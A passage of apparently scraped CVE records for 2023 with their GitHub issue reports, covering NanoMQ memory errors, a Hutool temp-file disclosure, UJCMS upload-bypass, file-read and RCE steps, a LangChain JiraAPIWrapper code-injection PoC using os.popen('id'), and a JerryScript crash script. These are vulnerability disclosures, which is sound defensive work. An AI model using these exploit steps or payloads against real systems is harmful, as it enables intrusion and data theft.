/home/user/nanomq/nng/src/sp/protocol.c:37:12 > #7 0x544f4b in broker /home/user/nanomq/nanomq/apps/broker.c:871:25 > #8 0x54ea34 in broker_start /home/user/nanomq/nanomq/apps/broker.c:1602:7 > #9 0x7f847da45082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 > > SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user/nanomq/nng/src/sp/protocol/mqtt/mqtt_parser.c:602:20 in conn_handler > Shadow bytes around the buggy address: > 0x0c047fff9710: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa > 0x0c047fff9720: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa > 0x0c047fff9730: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa > 0x0c047fff9740: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa > 0x0c047fff9750: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fa > =>0x0c047fff9760: fa fa fd fd fa fa 00[04]fa fa 00 01 fa fa fa fa > 0x0c047fff9770: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa > 0x0c047fff9780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa > 0x0c047fff9790: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa > 0x0c047fff97a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa > 0x0c047fff97b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa > Shadow byte legend (one shadow byte represents 8 application bytes): > Addressable: 00 > Partially addressable: 01 02 03 04 05 06 07 > Heap left redzone: fa > Freed heap region: fd > Stack left redzone: f1 > Stack mid redzone: f2 > Stack right redzone: f3 > Stack after return: f5 > Stack use after scope: f8 > Global redzone: f9 > Global init order: f6 > Poisoned by user: f7 > Container overflow: fc > Array cookie: ac > Intra object redzone: bb > ASan internal: fe > Left alloca redzone: ca > Right alloca redzone: cb > Shadow gap: cc > ==3700126==ABORTING > ** Environment Details ** - NanoMQ version: 0.17.5 (da4d3c8a) - Operating system and version: Ubuntu 20.04 - Compiler and language used: gcc 9.4.0 clang 10.0.0 - testing scenario: Run the broker(build with ASAN and TSAN) with the ./nanomq start command

[Security]: Vulnerability identified

https://api.github.com/repos/nanomq/nanomq/issues/1181/comments

2023-04-18T16:29:38Z

2023-04-20T07:14:36Z

https://github.com/nanomq/nanomq/issues/1181

CVE-2023-34494

2023-06-12T14:15:19.690

NanoMQ 0.16.5 is vulnerable to heap-use-after-free in the nano_ctx_send function of nmq_mqtt.c.

https://github.com/emqx/nanomq/issues/1180

github.com

**Describe the bug** We found a heap-use-after-free in `nano_ctx_send` function of `nmq_mqtt.c` when it processes malformed messages. **Actual Behavior** Heap-use-after-free **To Reproduce** Read the `pipe` in `nano_ctx_send`(nmq_mqtt.c) <img width="666" alt="image" src="https://user-images.githubusercontent.com/131155516/232831609-cb006702-2f3e-4751-8dde-a91ef5087770.png"> Free the `pipe` in `reap_worker`(reap.c) -> `pipe_destroy`(pipe.c) <img width="671" alt="image" src="https://user-images.githubusercontent.com/131155516/232833249-01f34876-46c1-4e1a-863e-85d6b3ea26a2.png"> `pipe_destroy`(pipe.c) <img width="820" alt="image" src="https://user-images.githubusercontent.com/131155516/232833523-9f79a96f-3019-4576-b8d1-b073f1fcb5b3.png"> ASAN Log > > ================================================================= > ==3144198==ERROR: AddressSanitizer: heap-use-after-free on address 0x61d00003ff98 at pc 0x0000006dce8c bp 0x7fe86eea87f0 sp 0x7fe86eea87e8 > READ of size 8 at 0x61d00003ff98 thread T11 (nng:task) > #0 0x6dce8b in nano_ctx_send /home/user/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:405:9 > #1 0x5a80b0 in nng_ctx_send /home/user/nanomq/nng/src/nng.c:401:2 > #2 0x577770 in server_cb /home/user/nanomq/nanomq/apps/broker.c:696:3 > #3 0x646595 in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4 > #4 0x64caf0 in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3 > #5 0x66a073 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2 > #6 0x7fe876f21608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8 > #7 0x7fe876cad132 in clone /build/glibc-SzIz7B/glibc-2.31/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:95 > > 0x61d00003ff98 is located 792 bytes inside of 2304-byte region [0x61d00003fc80,0x61d000040580) > freed by thread T14 (nng:reap2) here: > #0 0x4acc8d in free (/home/user/nanomq/build/nanomq/nanomq+0x4acc8d) > #1 0x6172b6 in pipe_destroy /home/user/nanomq/nng/src/core/pipe.c:83:2 > #2 0x618e7e in reap_worker /home/user/nanomq/nng/src/core/reap.c:58:5 > #3 0x64caf0 in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3 > #4 0x66a073 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2 > #5 0x7fe876f21608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8 > > previously allocated by thread T11 (nng:task) here: > #0 0x4ad082 in calloc (/home/user/nanomq/build/nanomq/nanomq+0x4ad082) > #1 0x6600a9 in nni_zalloc /home/user/nanomq/nng/src/platform/posix/posix_alloc.c:26:19 > #2 0x61079e in pipe_create /home/user/nanomq/nng/src/core/pipe.c:252:11 > #3 0x6133d8 in nni_pipe_create_listener /home/user/nanomq/nng/src/core/pipe.c:331:12 > #4 0x6332c1 in nni_listener_add_pipe /home/user/nanomq/nng/src/core/socket.c:1578:6 > #5 0x5f071c in listener_accept_cb /home/user/nanomq/nng/src/core/listener.c:357:3 > #6 0x646595 in nni_taskq_thread /home/user/nanomq/nng/src/core/taskq.c:50:4 > #7 0x64caf0 in nni_thr_wrap /home/user/nanomq/nng/src/core/thread.c:94:3 > #8 0x66a073 in nni_plat_thr_main /home/user/nanomq/nng/src/platform/posix/posix_thread.c:266:2 > #9 0x7fe876f21608 in start_thread /build/glibc-SzIz7B/glibc-2.31/nptl/pthread_create.c:477:8 > > Thread T11 (nng:task) created by T0 here: > #0 0x497cba in pthread_create (/home/user/nanomq/build/nanomq/nanomq+0x497cba) > #1 0x669c07 in nni_plat_thr_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:279:7 > #2 0x64bbbd in nni_thr_init /home/user/nanomq/nng/src/core/thread.c:121:12 > #3 0x645507 in nni_taskq_init /home/user/nanomq/nng/src/core/taskq.c:95:8 > #4 0x5e6479 in nni_init_helper /home/user/nanomq/nng/src/core/init.c:35:13 > #5 0x66ad55 in nni_plat_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:422:12 > #6 0x6fdfa8 in nni_proto_mqtt_open /home/user/nanomq/nng/src/sp/protocol.c:37:12 > #7 0x592a92 in broker /home/user/nanomq/nanomq/apps/broker.c:872:25 > #8 0x5a2d8d in broker_start /home/user/nanomq/nanomq/apps/broker.c:1603:7 > #9 0x4e1842 in main /home/user/nanomq/nanomq/nanomq.c:142:10 > #10 0x7fe876bb2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 > > Thread T14 (nng:reap2) created by T0 here: > #0 0x497cba in pthread_create (/home/user/nanomq/build/nanomq/nanomq+0x497cba) > #1 0x669c07 in nni_plat_thr_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:279:7 > #2 0x64bbbd in nni_thr_init /home/user/nanomq/nng/src/core/thread.c:121:12 > #3 0x6188e5 in nni_reap_sys_init /home/user/nanomq/nng/src/core/reap.c:110:12 > #4 0x5e64b0 in nni_init_helper /home/user/nanomq/nng/src/core/init.c:36:13 > #5 0x66ad55 in nni_plat_init /home/user/nanomq/nng/src/platform/posix/posix_thread.c:422:12 > #6 0x6fdfa8 in nni_proto_mqtt_open /home/user/nanomq/nng/src/sp/protocol.c:37:12 > #7 0x592a92 in broker /home/user/nanomq/nanomq/apps/broker.c:872:25 > #8 0x5a2d8d in broker_start /home/user/nanomq/nanomq/apps/broker.c:1603:7 > #9 0x4e1842 in main /home/user/nanomq/nanomq/nanomq.c:142:10 > #10 0x7fe876bb2082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16 > > SUMMARY: AddressSanitizer: heap-use-after-free /home/user/nanomq/nng/src/sp/protocol/mqtt/nmq_mqtt.c:405:9 in nano_ctx_send > Shadow bytes around the buggy address: > 0x0c3a7fffffa0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a7fffffb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a7fffffc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a7fffffd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a7fffffe0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > =>0x0c3a7ffffff0: fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a80000000: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a80000010: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a80000020: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a80000030: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > 0x0c3a80000040: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd > Shadow byte legend (one shadow byte represents 8 application bytes): > Addressable: 00 > Partially addressable: 01 02 03 04 05 06 07 > Heap left redzone: fa > Freed heap region: fd > Stack left redzone: f1 > Stack mid redzone: f2 > Stack right redzone: f3 > Stack after return: f5 > Stack use after scope: f8 > Global redzone: f9 > Global init order: f6 > Poisoned by user: f7 > Container overflow: fc > Array cookie: ac > Intra object redzone: bb > ASan internal: fe > Left alloca redzone: ca > Right alloca redzone: cb > Shadow gap: cc > ==3144198==ABORTING > ** Environment Details ** - NanoMQ version: 0.16.5 (aa188a4d) - Operating system and version: Ubuntu 20.04 - Compiler and language used: gcc 9.4.0 clang 10.0.0 - testing scenario: Run the broker(build with ASAN and TSAN) with the ./nanomq start command

[Security]: data contention in pipe reaper

https://api.github.com/repos/nanomq/nanomq/issues/1180/comments

2023-04-18T15:56:32Z

2023-05-18T03:03:09Z

https://github.com/nanomq/nanomq/issues/1180

CVE-2023-33695

2023-06-13T16:15:13.077

Hutool v5.8.17 and below was discovered to contain an information disclosure vulnerability via the File.createTempFile() function at /core/io/FileUtil.java.

https://github.com/dromara/hutool/issues/3103

github.com

There may has a temporary file information disclosure vulnerability by use File.createTempFile(). https://github.com/dromara/hutool/blob/89832cdcce8dc3b6bed0fc1d5bdd33e36d1e599f/hutool-core/src/main/java/cn/hutool/core/io/FileUtil.java#L1007 Preamble -------------------------------------------------------------------------- The system temporary directory is shared between all users on most unix-like systems (not MacOS, or Windows). Thus, code interacting with the system temporary directory must be careful about file interactions in this directory, and must ensure that the correct file permissions are set. The chain of calls was detected in this repository in a way that leaves this project vulnerable. File.createTempFile(..) -> file.delete() -> file.createNewFile(). Impact -------------------------------------------------------------------------- This vulnerability can have one of two impacts depending upon which vulnerability it is. 1.Temporary Directory Information Disclosure - Information in this directory is visable to other local users, allowing a malicious actor co-resident on the same machine to view potentially sensitive files. 2.Temporary Directory Hijacking Vulnerability - Same impact as 1. above, but also, ther local users can manipulate/add contents to this directory. If code is being executed out of this temporary directory, it can lead to local priviledge escalation. Other Examples -------------------------------------------------------------------------- [CVE-2020-15250](https://github.com/advisories/GHSA-269g-pwp5-87pp) - junit-team/junit [CVE-2021-21364](https://github.com/advisories/GHSA-hpv8-9rq5-hq7w) - swagger-api/swagger-codegen [CVE-2022-24823](https://github.com/advisories/GHSA-5mcr-gq6c-3hq2) - netty/netty [CVE-2022-24823](https://github.com/advisories/GHSA-269q-hmxg-m83q) - netty/netty The Fix -------------------------------------------------------------------------- The fix has been to convert the logic above to use the following API that was introduced in Java 1.7. `File tmpDir = Files.createTempFile(prefix, suffix).toFile();` The API both created the directory securely, ie with a random, non-conflicting name, with directory permissions that only allow the currently executing user to read or write the contents of this directory.

Temporary File Information Disclosure Vulnerability

https://api.github.com/repos/dromara/hutool/issues/3103/comments

2023-05-15T06:30:47Z

2023-05-15T12:25:34Z

https://github.com/dromara/hutool/issues/3103

CVE-2023-3231

2023-06-14T06:15:09.007

A vulnerability has been found in UJCMS up to 6.0.2 and classified as problematic. This vulnerability affects unknown code of the component ZIP Package Handler. The manipulation of the argument dir leads to information disclosure. The attack can be initiated remotely. The complexity of an attack is rather high. The exploitation appears to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 7.0.0 is able to address this issue. It is recommended to upgrade the affected component. VDB-231502 is the identifier assigned to this vulnerability.

https://github.com/ujcms/ujcms/issues/6

github.com

[Vulnerability description] Ujcms v6.0.2 has a sensitive file reading problem. When using Tomcat to deploy the project, the background zip package downloads the html directory, and modifying the dir parameter causes the source code and configuration files to be downloaded [Vulnerability Type] Sensitive file reading(Information Disclosure) [Vendor of Product] https://gitee.com/ujcms/ujcms https://github.com/ujcms/ujcms https://www.ujcms.com/ [Affected Product Code Base] v6.0.2 [Vulnerability proof] Condition: tomcat deployment project The dir parameter is allowed to be set to "WEB-INF/", and the names parameter is allowed to be set to "classes", so that the source code and web configuration files can be downloaded directly.(There is no html directory by default, you can create it directly through the function)    [Code Details] com.ujcms.cms.core.web.backendapi.AbstractWebFileController#downloadZip The code checks the two parameters "dir" and "names" separately  com.ujcms.cms.core.web.backendapi.AbstractWebFileController#checkId(java.lang.String) Check whether there is directory traversal, no restrictions on accessible directories  com.ujcms.cms.core.web.backendapi.AbstractWebFileController#checkName(java.lang.String)Check the file name, when both meet (1) The file name is empty (2) The file name contains illegal characters Accessible directories are not restricted 

Ujcms v6.0.2 has a sensitive file reading problem

https://api.github.com/repos/dromara/ujcms/issues/6/comments

2023-06-06T05:27:42Z

2023-06-30T04:03:32Z

https://github.com/dromara/ujcms/issues/6

CVE-2023-34747

2023-06-14T14:15:10.403

File upload vulnerability in ujcms 6.0.2 via /api/backend/core/web-file-upload/upload.

https://github.com/ujcms/ujcms/issues/4

github.com

Hello, I found that your ujcms v6.0.2 version has an arbitrary file upload vulnerability in the background. In the background file -> upload file here, we can upload files, I know you have made restrictions on the suffix of the uploaded file name, for example, jsp files are not allowed to be uploaded. But we can bypass the check by capturing the packet and modifying the file name to "1.jsp." (adding a decimal point to the suffix). 1. Try to upload 1.jsp file, but it is blocked  2. Use burpsuite to capture the package, modify the file name to "1.jsp." and then change the Content-Type to "image/png" to upload successfully   3. Click Browse to download the file, and the suffix of the downloaded file is "jsp" instead of "jsp."   4.Suggestion: Check whether the suffix of the uploaded file name is normal, and prevent the suffix of the malformed symbol like "jsp." from bypassing the security check

arbitrary file upload vulnerability in ujcms v6.0.2

https://api.github.com/repos/dromara/ujcms/issues/4/comments

2023-05-30T09:44:38Z

2023-06-30T04:04:16Z

https://github.com/dromara/ujcms/issues/4

CVE-2023-34865

2023-06-14T14:15:10.837

Directory traversal vulnerability in ujcms 6.0.2 allows attackers to move files via the rename feature.

https://github.com/ujcms/ujcms/issues/5

github.com

[Vulnerability description] The Remote Code Execution (RCE) vulnerability exists in ujcms v6.0.2, when the project is partially configured on Linux using Tomcat, attackers can use path traversal and arbitrary file uploads to execute arbitrary code. [Vulnerability Type] Remote Code Execution (RCE) [Vendor of Product] https://gitee.com/ujcms/ujcms https://github.com/ujcms/ujcms https://www.ujcms.com/ [Affected Product Code Base] v6.0.2 [Vulnerability proof] The code restricts the access and execution of jsp and jspx files, but it exists in any path and any file upload, so you can upload a web.xml file and add a jsp resolvable suffix, such as abc ``` <servlet-mapping> <servlet-name>jsp</servlet-name> <url-pattern>*.abc</url-pattern> </servlet-mapping> ``` Condition: It needs to be deployed with tomcat on Linux, and the configuration file cannot be overwritten on Windows, and File.renameTo is used 1. Upload web.xml Download an initial configuration file web.xml of tomcat, and add the above configuration in the following location  Upload the web.xml file to the uploads directory first, and use the path id to indicate it when uploading, and the path cannot be traversed  Rename, the capture package can traverse the path at the file name, and overwrite the original web.xml  2. Upload the Trojan horse Upload a Trojan horse and execute the ping command. At this time, the uploaded suffix cannot be the custom analytical suffix above. You can upload any suffix and rename it later, otherwise the upload will not succeed  The upload suffix is ​​abc1  Renamed to ../../123.abc, the path traverses to the root directory  Visit 123.abc and successfully trigger rce  [Code Details] 1. Upload Track the rename interface, find that the parameters are being passed to doUpload, and verify the suffix at the upload com.ujcms.cms.core.web.backendapi.AbstractUploadController#doUpload  The suffix can be uploaded without any problem. 2. Rename com.ujcms.cms.core.web.backendapi.AbstractWebFileController#rename is the same as upload, it has checkName to verify the file name, enter here to view the code  com.ujcms.cms.core.web.backendapi.AbstractWebFileController#checkName(java.lang.String) Check the file name, when both meet (1) The file name is empty (2) The file name contains illegal characters an exception is thrown, but the first condition is always false, and the conditions cannot be met at the same time, so this verification will always be bypassed, so it can be executed, and then any file can be renamed and uploaded.  So there is a problem with the judgment logic here, it should be || instead of &&, which leads to the failure of the security check in this place. Of course, this is also the reason why it can be used successfully. After passing the verification of this block, use File.renameTo in com.ujcms.util.file.LocalFileHandler#rename to rename the file.  renameTo cannot overwrite files in Windows, but can overwrite and create directories in Linux, so this vulnerability can only be exploited in Linux.

There is a remote code execution (RCE) vulnerability exists in ujcms v6.0.2

https://api.github.com/repos/dromara/ujcms/issues/5/comments

2023-06-05T07:43:56Z

2023-06-30T04:03:58Z

https://github.com/dromara/ujcms/issues/5

CVE-2023-34540

2023-06-14T15:15:10.287

Langchain before v0.0.225 was discovered to contain a remote code execution (RCE) vulnerability in the component JiraAPIWrapper (aka the JIRA API wrapper). This vulnerability allows attackers to execute arbitrary code via crafted input. As noted in the "releases/tag" reference, a fix is available.

https://github.com/hwchase17/langchain/issues/4833

github.com

### System Info LangChain version:0.0.171 windows 10 ### Who can help? _No response_ ### Information - [X] The official example notebooks/scripts - [ ] My own modified scripts ### Related Components - [ ] LLMs/Chat Models - [ ] Embedding Models - [ ] Prompts / Prompt Templates / Prompt Selectors - [ ] Output Parsers - [ ] Document Loaders - [ ] Vector Stores / Retrievers - [ ] Memory - [ ] Agents / Agent Executors - [X] Tools / Toolkits - [ ] Chains - [ ] Callbacks/Tracing - [ ] Async ### Reproduction 1. Set the environment variables for jira and openai ```python import os from langchain.utilities.jira import JiraAPIWrapper os.environ["JIRA_API_TOKEN"] = "your jira api token" os.environ["JIRA_USERNAME"] = "your username" os.environ["JIRA_INSTANCE_URL"] = "your url" os.environ["OPENAI_API_KEY"] = "your openai key" ``` 2. Run jira ```python jira = JiraAPIWrapper() output = jira.run('other',"exec(\"import os;print(os.popen('id').read())\")") ``` 3. The `id` command will be executed. Commands can be change to others and attackers can execute arbitrary code. ### Expected behavior The code can be executed without any check.

Arbitrary code execution in JiraAPIWrapper

https://api.github.com/repos/langchain-ai/langchain/issues/4833/comments

2023-05-17T04:11:40Z

2024-03-13T16:12:28Z

https://github.com/langchain-ai/langchain/issues/4833

CVE-2023-34867

2023-06-14T16:15:20.277

Jerryscript 3.0 (commit 05dbbd1) was discovered to contain an Assertion Failure via the ecma_property_hashmap_create at jerry-core/ecma/base/ecma-property-hashmap.c.

https://github.com/jerryscript-project/jerryscript/issues/5084

github.com

###### JerryScript revision Commit: https://github.com/jerryscript-project/jerryscript/commit/05dbbd134c3b9e2482998f267857dd3722001cd7 Version: v3.0.0 ###### Build platform Ubuntu 20.04.5 LTS (Linux 5.4.0-144-generic x86_64) ###### Build steps ```sh python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-fno-omit-frame-pointer --compile-flag=-fno-common --compile-flag=-fsanitize=address --compile-flag=-g --strip=off --lto=off --error-messages=on --system-allocator=on --logging=on --line-info=on --stack-limit=20 ``` ###### Test case <details><summary>testcase</summary> <p> ```javascript var r = function ( func0 , a ) { for ( var v in a || { } ) { r [ v ] = a [ v ] ; } return r ; } ; var a = [ ] ; for ( var v = 0 ; v < 256 ; v ++ ) { var n = Object . create ( null ) ; a . push ( n , a ) ; n . v = 1 ; n . o = 1 ; n = new WeakSet ( a ) ; n . t = 1 ; n . o = 1 ; } n . i = 1 ; if ( ! a ) throw new Test262Error ( " out " ) ; n . O = 1 ; n . m = 1 ; n = JSON . stringify ( JSON . stringify ( n , a ) ) ; if ( r . deref != 1 ) throw new Test262Error ( " digit " ) ; n . h = 1 ; n . T = 1 ; n . U = 1 ; n . g = 1 ; n . j = 1 ; n . k = 1 ; n . m = 1 ; n . p = 1 ; n . q = 1 ; n . A = 1 ; n . B = 1 ; n . as = 1 ; n . C = 1 ; n . A = 1 ; n . q = 0.1 ; n . D = 1 ; n . F = 1 ; n . G = 1 ; n . ax = 1 ; n . ax = 1 ; n . H = 1 ; n . I = 1 ; n . J = 1 ; n . K = 1 ; n . L = 1 ; n . M = 1 ; n . N = 1 ; var o = Object . create ( n ) ; var f = r ( { } , o ) ; for ( var t in f ) { if ( f [ t ] !== f [ " " ] ) { if ( f [ t ] !== f [ " " + t ] ) { throw new Error ( " OUT " ) ; } } } ``` </p> </details> ```javascript // poc.js var a = [ ] ; for ( var v = 0 ; v < 256 ; v ++ ) { var n = Object . create ( null ) ; a . push ( n , a ) ; n = new WeakSet ( a ) ; n . o = 1 ; } ``` ###### Execution steps & Output ``` $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)' failed at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c(ecma_property_hashmap_create):146. Error: JERRY_FATAL_FAILED_ASSERTION Aborted ``` ###### Backtrace ``` (gdb) bt #0 0xf7fcfd99 in __kernel_vsyscall () #1 0xf7ca4276 in raise () from /lib32/libc.so.6 #2 0xf7c8c3f7 in abort () from /lib32/libc.so.6 #3 0x083ecca3 in jerry_port_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-port/common/jerry-port-process.c:29 #4 0x08260d02 in jerry_fatal (code=JERRY_FATAL_FAILED_ASSERTION) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:63 #5 0x08260d64 in jerry_assert_fail (assertion=0x8418d00 <str> "ECMA_PROPERTY_IS_PROPERTY_PAIR (prop_iter_p)", file=0x8418d60 <str> "./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c", function=0x8418de0 <__func__.ecma_property_hashmap_create> "ecma_property_hashmap_create", line=146) at ./jerryscript/jerry-core/jrt/jrt-fatals.c:83 #6 0x081a3e63 in ecma_property_hashmap_create (object_p=0xf5500880) at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:146 #7 0x081a4342 in ecma_property_hashmap_insert (object_p=0xf5500880, name_p=0x3815, property_pair_p=0xf2d1a140, property_index=0) at ./jerryscript/jerry-core/ecma/base/ecma-property-hashmap.c:236 #8 0x08189d0a in ecma_create_property (object_p=<optimized out>, name_p=<optimized out>, type_and_flags=<optimized out>, value=..., out_prop_p=<optimized out>) at ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:448 #9 0x0818836a in ecma_create_named_data_property (object_p=0xf5500880, name_p=0x3815, prop_attributes=7 '\a', out_prop_p=0x0) at ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:536 #10 0x08217e4e in ecma_op_object_put_apply_receiver (receiver=<optimized out>, property_name_p=<optimized out>, value=<optimized out>, is_throw=<optimized out>) at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1241 #11 0x08216a71 in ecma_op_object_put_with_receiver (object_p=<optimized out>, property_name_p=<optimized out>, value=<optimized out>, receiver=<optimized out>, is_throw=<optimized out>) at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1595 #12 0x08214f3a in ecma_op_object_put (object_p=0xf5500880, property_name_p=0x3815, value=<optimized out>, is_throw=<optimized out>) at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1143 #13 ecma_op_object_put_by_index (object_p=0xf5500880, index=448, value=4117759059, is_throw=<optimized out>) at ./jerryscript/jerry-core/ecma/operations/ecma-objects.c:1109 #14 0x0830d9b1 in ecma_builtin_array_prototype_object_push (argument_list_p=<optimized out>, arguments_number=2, obj_p=0xf5500880, length=448) at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:465 #15 ecma_builtin_array_prototype_dispatch_routine (builtin_routine_id=<optimized out>, this_arg=<optimized out>, arguments_list_p=<optimized out>, arguments_number=<optimized out>) at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-prototype.c:2839 #16 0x081b94a5 in ecma_builtin_dispatch_routine (func_obj_p=<optimized out>, this_arg_value=<optimized out>, arguments_list_p=0xffffce30, arguments_list_len=<optimized out>) at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460 #17 ecma_builtin_dispatch_call (obj_p=<optimized out>, this_arg_value=<optimized out>, arguments_list_p=<optimized out>, arguments_list_len=<optimized out>) at ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489 #18 0x081fb6b8 in ecma_op_function_call_native_built_in (func_obj_p=0xf5500790, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2) at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217 #19 0x081fa81d in ecma_op_function_call (func_obj_p=0xf5500790, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2) at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411 #20 0x081fa5cf in ecma_op_function_validated_call (callee=4115662739, this_arg_value=4115662979, arguments_list_p=0xffffd054, arguments_list_len=2) at ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1371 #21 0x082d7631 in opfunc_call (frame_ctx_p=<optimized out>) at ./jerryscript/jerry-core/vm/vm.c:758 #22 vm_execute (frame_ctx_p=0xffffd020) at ./jerryscript/jerry-core/vm/vm.c:5217 #23 0x082d4f62 in vm_run (shared_p=0xffffd110, this_binding_value=4119870595, lex_env_p=0xf57007b0) at ./jerryscript/jerry-core/vm/vm.c:5312 #24 0x082d4c39 in vm_run_global (bytecode_p=<optimized out>, function_object_p=<optimized out>) at ./jerryscript/jerry-core/vm/vm.c:286 #25 0x0812a4e5 in jerry_run (script=4115663075) at ./jerryscript/jerry-core/api/jerryscript.c:548 #26 0x083eac3f in jerryx_source_exec_script (path_p=0xffffd5df "poc.js") at ./jerryscript/jerry-ext/util/sources.c:68 #27 0x0812162d in main (argc=<optimized out>, argv=<optimized out>) at ./jerryscript/jerry-main/main-desktop.c:156 (gdb) ``` --- with release mode ###### Outputs ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1512811==ERROR: AddressSanitizer: SEGV on unknown address 0x0000023e (pc 0x5659bb0f bp 0xff8ef1d8 sp 0xff8ef190 T0) ==1512811==The signal is caused by a READ memory access. ==1512811==Hint: address points to the zero page. #0 0x5659bb0e in ecma_gc_mark_properties ./jerryscript/jerry-core/ecma/base/ecma-gc.c:287 #1 0x5659e95d in ecma_gc_run ./jerryscript/jerry-core/ecma/base/ecma-gc.c:2158 #2 0x565f3d83 in jmem_heap_gc_and_alloc_block ./jerryscript/jerry-core/jmem/jmem-heap.c:285 #3 0x566365ad in ecma_alloc_property_pair ./jerryscript/jerry-core/ecma/base/ecma-alloc.c:253 #4 0x565ac30d in ecma_create_property ./jerryscript/jerry-core/ecma/base/ecma-helpers.c:457 #5 0x565d424d in ecma_create_iter_result_object ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:98 #6 0x56636d82 in ecma_builtin_array_iterator_prototype_object_next ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-iterator-prototype.c:172 #7 0x56636d82 in ecma_builtin_array_iterator_prototype_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-array-iterator-prototype.c:211 #8 0x565bba28 in ecma_builtin_dispatch_routine ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1460 #9 0x565bba28 in ecma_builtin_dispatch_call ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtins.c:1489 #10 0x565d0db7 in ecma_op_function_call_native_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1217 #11 0x565d2c84 in ecma_op_function_call ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1411 #12 0x565d449d in ecma_op_iterator_next ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:317 #13 0x565d46d3 in ecma_op_iterator_step ./jerryscript/jerry-core/ecma/operations/ecma-iterator-object.c:559 #14 0x565ca92e in ecma_op_container_create ./jerryscript/jerry-core/ecma/operations/ecma-container-object.c:435 #15 0x56657dbd in ecma_builtin_weakset_dispatch_construct ./jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-weakset.c:62 #16 0x565d3086 in ecma_op_function_construct_built_in ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1537 #17 0x565d3086 in ecma_op_function_construct ./jerryscript/jerry-core/ecma/operations/ecma-function-object.c:1717 #18 0x56634c33 in opfunc_construct ./jerryscript/jerry-core/vm/vm.c:840 #19 0x56634c33 in vm_execute ./jerryscript/jerry-core/vm/vm.c:5236 #20 0x56635152 in vm_run ./jerryscript/jerry-core/vm/vm.c:5312 #21 0x5663538f in vm_run_global ./jerryscript/jerry-core/vm/vm.c:286 #22 0x5659382e in jerry_run ./jerryscript/jerry-core/api/jerryscript.c:548 #23 0x5668871b in jerryx_source_exec_script ./jerryscript/jerry-ext/util/sources.c:68 #24 0x5658bd04 in main ./jerryscript/jerry-main/main-desktop.c:156 #25 0xf76ceed4 in __libc_start_main 